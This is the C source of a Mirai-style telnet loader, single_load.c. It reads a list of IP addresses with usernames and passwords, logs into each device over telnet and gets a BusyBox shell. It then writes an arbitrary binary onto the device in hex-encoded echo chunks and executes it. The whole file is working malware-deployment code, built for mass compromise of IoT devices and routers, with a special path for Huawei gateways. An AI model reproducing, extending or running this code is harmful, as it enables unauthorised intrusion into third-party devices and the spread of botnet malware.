single_load.c

#define _GNU_SOURCE

#include <assert.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdarg.h>
#include <unistd.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <signal.h>
#include <sys/time.h>
#include <sys/types.h>
#include <fcntl.h>
#include <ctype.h>
#include <errno.h>
#include <arpa/inet.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <pthread.h>
#include <sys/queue.h>
#include <sys/epoll.h>
#include <glob.h>


#define TOKEN           "/bin/busybox VDOSS"
#define TOKEN_VERIFY    "applet not found"
#define EXEC_VERIFY     "YESHELLO"

#define BYTES_PER_LINE      128
#define CHARS_PER_BYTE      5
#define MAX_SLICE_LENGTH    (BYTES_PER_LINE * CHARS_PER_BYTE)

static char *bind_ip = "0.0.0.0";
static unsigned char debug_mode = 0;
static int maxConnectedSockets = 0;

static char *bin_server = NULL;
static unsigned short bin_port = NULL;
static char *bin_path = NULL;

volatile int running_threads = 0;
volatile unsigned long found_srvs = 0;
volatile unsigned int bytes_sent = 0;
volatile unsigned long timed_out = 0;
volatile unsigned long login_done = 0;
volatile unsigned long failed_connect = 0;
volatile unsigned long remote_hangup = 0;
volatile unsigned short port = 0;
volatile unsigned int maxFDSaw = 0;
FILE *infd;
char *run_arg = NULL;

static int epollFD;

struct stateSlot_t
{
    int slotUsed;
    
    pthread_mutex_t mutex;
    
    unsigned char success;
    unsigned char is_open;
    unsigned char special;
    unsigned char got_prompt;
    
    uint8_t pathInd;
    
    uint16_t echoInd;
    
    int complete;
    uint32_t ip;
    
    int fd;
    int updatedAt;
    int reconnecting;
    
    unsigned char state;
    
    char path[5][32];
    char username[32];
    char password[32];
};

struct
{
    int num_slices;
    unsigned char **slices;
} binary;

struct stateSlot_t stateTable[1024 * 100] = {0};

extern float ceilf (float x);

static int diff(int val)
{
    return (val > 0) ? val : 0;
}

int matchPrompt(char *bufStr)
{
    int i = 0, q = 0;
    char *prompts = ":>%$#";
    
    char *tmpStr = malloc(strlen(bufStr) + 1);
    memset(tmpStr, 0, strlen(bufStr) + 1);
    
    // ayy lmao copy pasta for removing ansi shit
    char in_escape = 0;
    for (i = 0; i < strlen(bufStr); i++)
    {
        if (bufStr[i] == '\x1B')
        {
            if (in_escape == 0) 
                in_escape = 1;
        } else if ((in_escape == 1) && (strchr("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz", bufStr[i]) != NULL))
        {
            in_escape = 0;
        } else if (in_escape == 0) 
        {
            strncat(tmpStr, &(bufStr[i]), 1);
        }
    }
    
    int bufLen = strlen(tmpStr);
    for(i = 0; i < strlen(prompts); i++)
    {
        while(bufLen > q && (*(tmpStr + bufLen - q) == 0x00 || *(tmpStr + bufLen - q) == ' ' || *(tmpStr + bufLen - q) == '\r' || *(tmpStr + bufLen - q) == '\n')) q++;
        
        if(*(tmpStr + bufLen - q) == prompts[i])
        {
            free(tmpStr);
            return 1;
        }           
    }
    
    free(tmpStr);
    return 0;
}

void hexDump(char *desc, void *addr, int len)
{
    int i;
    unsigned char buff[17];
    unsigned char *pc = (unsigned char*)addr;
    if (desc != NULL) printf ("%s:\n", desc);
    for (i = 0; i < len; i++) {
        if ((i % 16) == 0)
        {
            if (i != 0) printf ("  %s\n", buff);
            printf ("  %04x ", i);
        }
        printf (" %02x", pc[i]);
        if ((pc[i] < 0x20) || (pc[i] > 0x7e)) buff[i % 16] = '.';
        else buff[i % 16] = pc[i];
        buff[(i % 16) + 1] = '\0';
    }
    while ((i % 16) != 0)
    {
        printf ("   ");
        i++;
    }
    printf ("  %s\n", buff);
}

int log_recv(int sock, void *buf, int len, int flags)
{
    memset(buf, 0, len);
    int ret = recv(sock, buf, len, flags);
    if (ret > 0)
    {
        int i = 0;
        for(i = 0; i < ret; i++)
        {
            if (((char *)buf)[i] == 0x00)
            {
                ((char *)buf)[i] = 'A';
            }
        }
    }
    if (debug_mode)
    {
        char hex_buf[32] = {0};
        sprintf(hex_buf, "state %d - recv: %d", stateTable[sock].state, ret);
        if (ret != -1)
            hexDump(hex_buf, buf, ret);
        else
            printf("%s\n", hex_buf);
    }
    return ret;
        
}

int log_send(int sock, void *buf, int len, int flags)
{
    if (debug_mode)
    {
        char hex_buf[32] = {0};
        sprintf(hex_buf, "state %d - send: %d", stateTable[sock].state, len);
        hexDump(hex_buf, buf, len);
    }
    bytes_sent+=len;
    return send(sock, buf, len, flags);
}

int sockprintf(int sock, char *formatStr, ...)
{
    char textBuffer[2048] = {0};
    memset(textBuffer, 0, 2048);
    va_list args;
    va_start(args, formatStr);
    vsprintf(textBuffer, formatStr, args);
    va_end(args);
    int q = log_send(sock,textBuffer,strlen(textBuffer), MSG_NOSIGNAL);
    return q;
}

void *memmem(const void *l, size_t l_len, const void *s, size_t s_len)
{
    register char *cur, *last;
    const char *cl = (const char *)l;
    const char *cs = (const char *)s;
    if (l_len == 0 || s_len == 0) 
        return NULL;

    if (l_len < s_len) 
        return NULL;

    if (s_len == 1) 
        return memchr(l, (int)*cs, l_len);

    last = (char *)cl + l_len - s_len;
    for (cur = (char *)cl; cur <= last; cur++)
        if (cur[0] == cs[0] && memcmp(cur, cs, s_len) == 0)
            return cur;

    return NULL;
}

void handle_remote_closed(int fd)
{
    remote_hangup++;
}

void handle_timeout(int fd)
{
    timed_out++;
}

void handle_failed_connect(int fd)
{
    failed_connect++;
}

void handle_found(int fd)
{
    /* 
    struct stateSlot_t *state = &stateTable[fd];
    
    struct sockaddr_in name;
    int namelen = (sizeof (struct sockaddr_in));

    getpeername(state->fd, &name, &namelen);
    
    FILE *fp = fopen("loaded.txt", "a");
    fprintf(outfd, "%d.%d.%d.%d:%s:%s:%s:%d:%d:%d\n",
        (name.sin_addr.s_addr & 0xff), 
        ((name.sin_addr.s_addr & (0xff << 8)) >> 8), 
        ((name.sin_addr.s_addr & (0xff << 16)) >> 16),
        ((name.sin_addr.s_addr & (0xff << 24)) >> 24), 
        
        state->username, 
        state->password, 
        state->path, 
        state->wget, 
        state->endianness, 
        state->arch
    );
    fclose(outfd);
    */
    
    found_srvs++;
}

void closeAndCleanup(int fd)
{
    if(stateTable[fd].slotUsed && stateTable[fd].fd == fd)
    {
        stateTable[fd].slotUsed = 0;
        stateTable[fd].state = 0;
        stateTable[fd].path[0][0] = 0;
        stateTable[fd].path[1][0] = 0;
        stateTable[fd].path[2][0] = 0;
        stateTable[fd].path[3][0] = 0;
        stateTable[fd].path[4][0] = 0;
        stateTable[fd].username[0] = 0;
        stateTable[fd].password[0] = 0;
        stateTable[fd].echoInd = 0;
        stateTable[fd].pathInd = 0;
        stateTable[fd].success = 0;
        stateTable[fd].special = 0;
        stateTable[fd].got_prompt = 0;
    
        if(stateTable[fd].is_open)
        {
            stateTable[fd].is_open = 0;
            
            shutdown(fd, SHUT_RDWR);
            struct linger linger;
            linger.l_onoff = 1;
            linger.l_linger = 0;
            setsockopt(fd, SOL_SOCKET, SO_LINGER, (char *) &linger, sizeof(linger));
            close(fd);
        }
    }
}

void updateAccessTime(int fd)
{
    if(stateTable[fd].slotUsed && stateTable[fd].fd == fd)
    {
        stateTable[fd].updatedAt = time(NULL);
    }
}

int getConnectedSockets()
{
    int q = 0, i = 0;
    for(q = 0; q < maxFDSaw; q++) if(stateTable[q].slotUsed) i++;

    return i;
}

void *flood(void *par1)
{
    __sync_fetch_and_add(&running_threads, 1);

    unsigned char buf[10241] = {0};

    struct epoll_event pevents[25] = {0};
    int ret = 0, i = 0, got = 0, ii = 0;
    while((ret = epoll_wait( epollFD, pevents, 25, 10000 )) >= 0 || (ret == -1 && errno == EINTR))
    {
        if(ret == 0) continue;
        for(i = 0; i < ret; i++)
        {
            if((pevents[i].events & EPOLLERR) || (pevents[i].events & EPOLLHUP) || (pevents[i].events & EPOLLRDHUP) || (!(pevents[i].events & EPOLLIN) && !(pevents[i].events & EPOLLOUT)))
            {
                struct stateSlot_t *state = &stateTable[pevents[i].data.fd];
                if (state->state == 0) handle_failed_connect(state->fd);
                else handle_remote_closed(state->fd);
                pthread_mutex_lock(&state->mutex);
                closeAndCleanup(state->fd);
                pthread_mutex_unlock(&state->mutex);
            } else if(pevents[i].events & EPOLLIN)
            {
                int is_closed = 0;
                struct stateSlot_t *state = &stateTable[pevents[i].data.fd];
                
                memset(buf, 0, 10241);
                
                pthread_mutex_lock(&state->mutex);
                int old_state = state->state;
                
                got = 0;
                do
                {
                    if(state->state == 1)
                    {
                        if ((got = log_recv(state->fd, buf, 1, MSG_PEEK)) > 0 && buf[0] == 0xFF)
                            state->state = 2;
                        
                        if (got > 0 && buf[0] != 0xFF)
                            state->state = 3;
                    }

                    if (state->state == 2)
                    {
                        //from first peek
                        log_recv(state->fd, buf, 1, 0);
                        
                        got = log_recv(state->fd, buf + 1, 2, 0);
                        if (got > 0)
                        {
                            state->state = 1;
                            
                            if (buf[1] == 0xFD && buf[2] == 31)
                            {
                                unsigned char tmp1[3] = {255, 251, 31};
                                log_send(state->fd, tmp1, 3, MSG_NOSIGNAL);
                                unsigned char tmp2[9] = {255, 250, 31, 0, 80, 0, 24, 255, 240};
                                log_send(state->fd, tmp2, 9, MSG_NOSIGNAL);
                                continue;
                            }
                            
                            for (ii = 0; ii < 3; ii++)
                            {
                                    if (buf[ii] == 0xFD) buf[ii] = 0xFC;
                                    else if (buf[ii] == 0xFB) buf[ii] = 0xFD;
                            }
                            log_send(state->fd, buf, 3, MSG_NOSIGNAL);
                        }
                    }
                } while(got > 0 && state->state != 3);
                
                if (state->state == 3)
                {
                    while ((got = log_recv(state->fd, buf, 10240, 0)) > 0)
                    {
                        //special case for huawei
                        if (memmem(buf, got, "Huawei Home Gateway", 19) != NULL)
                            state->special = 1;
                        
                        if (memmem(buf, got, "BusyBox", 7) != NULL)
                        {
                            state->got_prompt = 1;
                            
                            //maybe we are logged in already? LOL
                            sockprintf(state->fd, "enable\r\n");
                            state->state = 7;
                            break;
                        }
                        
                        if (memmem(buf, got, "ogin", 4) != NULL || memmem(buf, got, "sername", 7) != NULL || matchPrompt(buf))
                        {
                            state->got_prompt = 1;
                            
                            sockprintf(state->fd, "%s\r\n", state->username);
                            state->state = 4;
                            break;
                        }
                    }
                }
                
                if (state->state == 4)
                {
                    while ((got = log_recv(state->fd, buf, 10240, 0)) > 0)
                    {
                        if (memmem(buf, got, "assword", 7) != NULL || matchPrompt(buf))
                        {
                            sockprintf(state->fd, "%s\r\n", state->password);
                            state->state = 5;
                            break;
                        }
                    }
                }
                
                if (state->state == 5)
                {
                    while ((got = log_recv(state->fd, buf, 10240, 0)) > 0)
                    {
                        if (strcasestr(buf, "access denied") != NULL || strcasestr(buf, "invalid password") != NULL || strcasestr(buf, "login incorrect") != NULL || strcasestr(buf, "password is wrong") != NULL)
                        {
                            //bad login. reconnect and retry
                            state->state = 254;
                            break;
                        }
                        
                        if (strcasestr(buf, "BusyBox") != NULL || matchPrompt(buf))
                        {
                            //REASONABLY sure we got a good login.
                            sockprintf(state->fd, "enable\r\n");
                            state->state = 6;
                            break;
                        }
                    }
                }
                
                if (state->state == 6)
                {
                    while ((got = log_recv(state->fd, buf, 10240, 0)) > 0)
                    {
                        sockprintf(state->fd, "shell\r\n");
                        state->state = 7;
                        break;
                    }
                }
                
                if (state->state == 7)
                {
                    while ((got = log_recv(state->fd, buf, 10240, 0)) > 0)
                    {
                        sockprintf(state->fd, "sh\r\n");
                        if (state->special == 1)
                        {
                            state->state = 250;
                        } else {
                            state->state = 8;
                        }
                        break;
                    }
                }
                
                if (state->state == 8)
                {
                    while ((got = log_recv(state->fd, buf, 10240, 0)) > 0)
                    {
                        if (matchPrompt(buf))
                        {
                            sockprintf(state->fd, "%s\r\n", TOKEN);
                            state->state = 9;
                            break;
                        }
                    }
                }
                
                if (state->state == 9)
                {
                    while ((got = log_recv(state->fd, buf, 10240, 0)) > 0)
                    {
                        if (strcasestr(buf, TOKEN_VERIFY) != NULL && matchPrompt(buf))
                        {
                            sockprintf(state->fd, "cat /proc/mounts\r\n");
                            state->state = 10;
                            break;
                        }
                    }
                }
                
                if (state->state == 10)
                {
                    while ((got = log_recv(state->fd, buf, 10240, 0)) > 0)
                    {
                        if (strstr(buf, "tmpfs") != NULL || strstr(buf, "ramfs") != NULL)
                        {
                            char *tmp_buf = buf;
                            char *start = NULL;
                            char *space = NULL;
                            int memes = 0;
                            do
                            {
                                start = strstr(tmp_buf, "tmpfs") != NULL ? strstr(tmp_buf, "tmpfs") : strstr(tmp_buf, "ramfs");
                                space = strchr(start, ' ');
                                if (start != tmp_buf && *(start - 1) != '\n')
                                {
                                    //this is a middle of line find
                                    while(start > buf && *start != '\n') start--;
                                    
                                    //WEVE GONE TOO FAR GOTTA BLAST
                                    if (start == buf)
                                        continue;
                                    
                                    start++;
                                    space = strchr(start, ' ');
                                }
                                
                                if (space[1] == '/')
                                {
                                    int iii = 1;

                                    for (iii = 1; ; iii++) {
                                        if (space[iii] == '\0' || space[iii] == ' ') {
                                            break;
                                        }
                                    }
                                    
                                    if (iii > 1) {
                                        strncpy(state->path[memes], &space[1], iii - 1);
                                        state->path[memes][iii - 1] = '\0';
                                        memes++;
                                    }
                                    
                                    space = space + iii; 
                                    if (space[0] != '\0')
                                    {
                                        for (iii = 1; ; iii++) {
                                            if (space[iii] == '\0' || space[iii] == ' ') {
                                                break;
                                            }
                                        }
                                        space = space + iii;
                                    } else {
                                        break;
                                    }
                                }
                                
                                tmp_buf = space;
                            } while(strstr(tmp_buf, "tmpfs") != NULL || strstr(tmp_buf, "ramfs") != NULL && memes < 5);
                            
                            if (strlen(state->path[0]) == 0)
                            {
                                strcpy(state->path[0], "/");
                            }
                            
                            sockprintf(state->fd, "/bin/busybox mkdir -p %s; /bin/busybox rm %s/a; /bin/busybox cp -f /bin/sh %s/a && /bin/busybox VDOSS\r\n", state->path[0], state->path[0], state->path[0]);
                            state->state = 100;
                            break;
                        } else if (matchPrompt(buf))
                        {
                            strcpy(state->path[0], "/var/run");
                            sockprintf(state->fd, "/bin/busybox mkdir -p %s; /bin/busybox rm %s/a; /bin/busybox cp -f /bin/sh %s/a && /bin/busybox VDOSS\r\n", state->path[0], state->path[0], state->path[0]);
                            state->state = 100;
                            break;
                        }
                    }
                }
                
                if (state->state == 100)
                {
                    while ((got = log_recv(state->fd, buf, 10240, 0)) > 0)
                    {
                        if (strcasestr(buf, "applet not found") != NULL)
                        {
                            sockprintf(state->fd, "/bin/busybox echo -ne '' > %s/a && /bin/busybox VDOSS\r\n", state->path[state->pathInd]);
                            state->state = 101;
                            break;
                        } else if (matchPrompt(buf))
                        {
                            state->pathInd++;
                            if (state->pathInd == 5 || strlen(state->path[state->pathInd]) == 0)
                            {
                                strcpy(state->path[0], "/var/run");
                                state->pathInd = 0;
                                sockprintf(state->fd, "/bin/busybox echo -ne '' > %s/a && /bin/busybox VDOSS\r\n", state->path[state->pathInd]);
                                state->state = 101;
                                break;
                            }
                            sockprintf(state->fd, "/bin/busybox mkdir -p %s; /bin/busybox rm %s/a; /bin/busybox cp -f /bin/sh %s/a && /bin/busybox VDOSS\r\n", state->path[state->pathInd], state->path[state->pathInd], state->path[state->pathInd]);
                            break;
                        }
                    }
                }
                
                if (state->state == 101)
                {
                    while ((got = log_recv(state->fd, buf, 10240, 0)) > 0)
                    {
                        if (strcasestr(buf, "applet not found") != NULL)
                        {
                            sockprintf(state->fd, "/bin/busybox echo -ne %s >> %s/a && /bin/busybox VDOSS\r\n", binary.slices[state->echoInd++], state->path[state->pathInd]);
                            if (state->echoInd == binary.num_slices) state->state = 102;
                            else state->state = 101;
                            break;
                        }
                    }
                }
                
                if (state->state == 102)
                {
                    while ((got = log_recv(state->fd, buf, 10240, 0)) > 0)
                    {
                        if (strcasestr(buf, "applet not found") != NULL)
                        {
                            sockprintf(state->fd, "%s/a %s; /bin/busybox VDOSS\r\n", state->path[state->pathInd], run_arg);
                            state->state = 103;
                            break;
                        }
                    }
                }
                
                if (state->state == 103)
                {
                    while ((got = log_recv(state->fd, buf, 10240, 0)) > 0)
                    {
                        if (strcasestr(buf, "applet not found") != NULL)
                        {
                            state->state = 255;
                            break;
                        }
                    }
                }
                
                if (state->state == 250)
                {
                    while ((got = log_recv(state->fd, buf, 10240, 0)) > 0)
                    {
                        if (matchPrompt(buf))
                        {
                            sockprintf(state->fd, "show text /proc/self/environ\r\n");
                            state->state = 251;
                            break;
                        }
                    }
                }
                
                if (state->state == 251)
                {
                    while ((got = log_recv(state->fd, buf, 10240, 0)) > 0)
                    {
                        if (memmem(buf, got, "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0", 16) != NULL || matchPrompt(buf))
                        {
                            sockprintf(state->fd, "export PS1=\"prompt>\"\r\n");
                            state->state = 8;
                            break;
                        }
                    }
                }
                
                //reconnect and retry
                if (state->state == 254)
                {
                    closeAndCleanup(state->fd); 
                    is_closed = 1;
                }
                
                if (state->state == 255)
                {
                    if (state->success)
                    {
                        handle_found(state->fd);
                    }
                    closeAndCleanup(state->fd); 
                    is_closed = 1;
                }
                
                if (state->slotUsed && (old_state != state->state || state->state == 101))
                    updateAccessTime(state->fd);
                
                pthread_mutex_unlock(&state->mutex);
                
                if (!is_closed)
                {
                    struct epoll_event event = {0};
                    event.data.fd = state->fd;
                    event.events = EPOLLIN | EPOLLRDHUP | EPOLLET | EPOLLONESHOT;
                    epoll_ctl(epollFD, EPOLL_CTL_MOD, state->fd, &event);
                }
            } else if(pevents[i].events & EPOLLOUT)
            {   
                struct stateSlot_t *state = &stateTable[pevents[i].data.fd];
                
                pthread_mutex_lock(&state->mutex);
                if(state->state == 0)
                {
                    int so_error = 0;
                    socklen_t len = sizeof(so_error);
                    getsockopt(state->fd, SOL_SOCKET, SO_ERROR, &so_error, &len);
                    if (so_error) {  handle_failed_connect(state->fd); closeAndCleanup(state->fd); pthread_mutex_unlock(&state->mutex); continue; }
                    
                    state->state = 1;
                    
                    pevents[i].events = EPOLLIN | EPOLLRDHUP | EPOLLET | EPOLLONESHOT;
                    epoll_ctl(epollFD, EPOLL_CTL_MOD, state->fd, &pevents[i]);
                } else {
                    printf("wrong state on connect epoll: %d\n", state->fd);
                    closeAndCleanup(state->fd);
                }
                pthread_mutex_unlock(&state->mutex);
            }
        }
    }

    __sync_fetch_and_sub(&running_threads, 1);

    return NULL;
}

void sighandler(int sig)
{
    printf("\nctrl-c\n");
    exit(0);
}

void chomp(char *s)
{
    while(*s && *s != '\n' && *s != '\r') s++;
    *s = 0;
}

void *loader(void *threadCount)
{
    char readmelolfgt[1024], *hahgay;
    memset(readmelolfgt, 0, 1024);

    char *pch = NULL;
    char *running, *orig, *token;
    while(fgets(readmelolfgt, 1024, infd) != NULL)
    {
        while(getConnectedSockets() > (maxConnectedSockets - 1))
        {
            int curTime = time(NULL);
            int q;
            for(q = 0; q < maxFDSaw; q++)
            {
                pthread_mutex_lock(&stateTable[q].mutex);
                if(stateTable[q].slotUsed && curTime > (stateTable[q].updatedAt + 60) && stateTable[q].reconnecting == 0)
                {
                    if (stateTable[q].state == 0) handle_failed_connect(stateTable[q].fd);
                    else handle_timeout(stateTable[q].fd);
                    
                    closeAndCleanup(stateTable[q].fd);
                }
                pthread_mutex_unlock(&stateTable[q].mutex);
            }

            usleep(1000000);
        }
        running = orig = strdup(readmelolfgt);

        token = strsep(&running, ":");
        if(token == NULL || inet_addr(token) == -1) { free(orig); continue; }
        struct sockaddr_in dest_addr = {0};
        memset(&dest_addr, 0, sizeof(struct sockaddr_in));
        dest_addr.sin_family = AF_INET;
        dest_addr.sin_port = htons(23);
        dest_addr.sin_addr.s_addr = inet_addr(token);
        
        int fd = 0;
        struct sockaddr_in my_addr = {0};

        do
        {
            if (errno != EBADF && fd > 0)
                close(fd);
            
            fd = 0;

            if((fd=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP))<0)
            {
                perror("cant open socket");
                exit(-1);
            }
            fcntl(fd, F_SETFL, fcntl(fd, F_GETFL, NULL) | O_NONBLOCK);
            int flag = 1; 
            setsockopt(fd, IPPROTO_TCP, TCP_NODELAY, (char *) &flag, sizeof(int));

            memset(&my_addr, 0, sizeof(struct sockaddr_in));
            my_addr.sin_addr.s_addr = inet_addr(bind_ip);
            my_addr.sin_port = htons(port++);
            my_addr.sin_family = AF_INET;
            errno = 0;
        } while(bind(fd, (struct sockaddr *)&my_addr, sizeof(my_addr)) != 0);

        printf("bound\n");

        int res = 0;
        res = connect(fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
        if(res < 0 && errno != EINPROGRESS) { close(fd); continue; }

        if(fd > maxFDSaw) maxFDSaw = fd + 1;

        pthread_mutex_lock(&stateTable[fd].mutex);
        if(!stateTable[fd].slotUsed)
        {

            printf("memes\n");
            stateTable[fd].fd = fd;
            stateTable[fd].updatedAt = time(NULL);
            stateTable[fd].slotUsed = 1;
            stateTable[fd].state = 0;
            stateTable[fd].is_open = 1;
            stateTable[fd].special = 0;
            
            token = strsep(&running, ":");
            strcpy(stateTable[fd].username, token);
            
            token = strsep(&running, ":");
            strcpy(stateTable[fd].password, token);
        } else {
            printf("used slot found in loader thread?\n");
        }
        pthread_mutex_unlock(&stateTable[fd].mutex);

        struct epoll_event event = {0};
        event.data.fd = fd;
        event.events = EPOLLOUT | EPOLLRDHUP | EPOLLET | EPOLLONESHOT;
        epoll_ctl(epollFD, EPOLL_CTL_ADD, fd, &event);
        
        free(orig);
    }
    
    printf("done reading input file.\n");

    while(1)
    {
        int curTime = time(NULL);
        int q;
        for(q = 0; q < maxFDSaw; q++)
        {
            pthread_mutex_lock(&stateTable[q].mutex);
            if(stateTable[q].slotUsed && curTime > (stateTable[q].updatedAt + 60) && stateTable[q].reconnecting == 0)
            {
                if (stateTable[q].state == 0) handle_failed_connect(stateTable[q].fd);
                else handle_timeout(stateTable[q].fd);
                
                closeAndCleanup(stateTable[q].fd);
            }
            pthread_mutex_unlock(&stateTable[q].mutex);
        }

        sleep(1);
    }

    close(epollFD);
}

int load_binary(char *path)
{
    // /proc/self/exe still works even when we delete ourselves l0l
    int fd, size = 0, got = 0, i, slice = 0;
    unsigned char ch;
    
    if ((fd = open(path, O_RDONLY)) == -1)
        return -1;
    while ((got = read(fd, &ch, 1)) > 0) size++;
    close(fd);
    
    binary.num_slices = ceil(size / (float)BYTES_PER_LINE);
    binary.slices = calloc(binary.num_slices, sizeof(unsigned char *));
    if (binary.slices == NULL)
        return -1;
        
    for (i = 0; i < binary.num_slices; i++)
    {
        binary.slices[i] = calloc(1, MAX_SLICE_LENGTH + 1);
        if (binary.slices[i] == NULL)
            return -1;
    }
    
    if ((fd = open(path, O_RDONLY)) == -1)
        return -1;
    do
    {
        for (i = 0; i < BYTES_PER_LINE; i++)
        {
            got = read(fd, &ch, 1);
            if (got != 1) break;
            
            sprintf(binary.slices[slice] + strlen(binary.slices[slice]), "\\\\x%02X", ch);
        }
        
        slice++;
    } while(got > 0);
    close(fd);
    
    return 0;
}

int main(int argc, char *argv[ ])
{
    if(argc < 4){
        fprintf(stderr, "Invalid parameters!\n");
        fprintf(stdout, "Usage: %s <bind ip> <input file> <file_to_load> <argument> <threads> <connections> (debug mode)\n", argv[0]);
        exit(-1);
    }
    
    signal(SIGPIPE, SIG_IGN);
    
    epollFD = epoll_create(0xDEAD);
    bind_ip = argv[1];
    infd = fopen(argv[2], "r");
    signal(SIGINT, &sighandler);
    int threads = atoi(argv[5]);
    maxConnectedSockets = atoi(argv[6]);
    
    if (argc == 8)
        debug_mode = 1;
    
    int i;
    for(i = 0; i < (1024 * 100); i++)
    {
        pthread_mutex_init(&stateTable[i].mutex, NULL);
    }

    load_binary(argv[3]);
    run_arg = argv[4];

    pthread_t thread;
    pthread_create( &thread, NULL, &loader, (void *) &threads);

    for(i = 0; i < threads; i++) pthread_create( &thread, NULL, &flood, (void *) NULL);

    char timeText[100];
    time_t now = time(NULL);
    struct tm *t = localtime(&now);
    strftime(timeText, sizeof(timeText)-1, "%d %b %Y %l:%M %p %Z", t);

    printf("Starting Scan at %s\n", timeText);
    char temp[17] = {0};
    memset(temp, 0, 17);
    sprintf(temp, "Loaded");
    printf("%-16s", temp);
    memset(temp, 0, 17);
    sprintf(temp, "State Timeout");
    printf("%-16s", temp);
    memset(temp, 0, 17);
    sprintf(temp, "No Connect");
    printf("%-16s", temp);
    memset(temp, 0, 17);
    sprintf(temp, "Closed Us");
    printf("%-16s", temp);
    memset(temp, 0, 17);
    sprintf(temp, "Logins Tried");
    printf("%-16s", temp);
    memset(temp, 0, 17);
    sprintf(temp, "B/s");
    printf("%-16s", temp);
    memset(temp, 0, 17);
    sprintf(temp, "Connected");
    printf("%-16s", temp);
    memset(temp, 0, 17);
    sprintf(temp, "Running Thrds");
    printf("%s", temp);
    printf("\n");

    sleep(1);

    char *new;
    new = (char *)malloc(16*6);
    while (debug_mode ? 1 : running_threads > 0)
    {
        printf("\r");
        memset(new, '\0', 16*6);
        sprintf(new, "%s|%-15lu", new, found_srvs);
        sprintf(new, "%s|%-15lu", new, timed_out);
        sprintf(new, "%s|%-15lu", new, failed_connect);
        sprintf(new, "%s|%-15lu", new, remote_hangup);
        sprintf(new, "%s|%-15lu", new, login_done);
        sprintf(new, "%s|%-15d", new, bytes_sent);
        sprintf(new, "%s|%-15lu", new, getConnectedSockets());
        sprintf(new, "%s|%-15d", new, running_threads);
        printf("%s", new);
        fflush(stdout);
        bytes_sent=0;
        sleep(1);
    }
    printf("\n");

    now = time(NULL);
    t = localtime(&now);
    strftime(timeText, sizeof(timeText)-1, "%d %b %Y %l:%M %p %Z", t);
    printf("Scan finished at %s\n", timeText);
    return 0;
}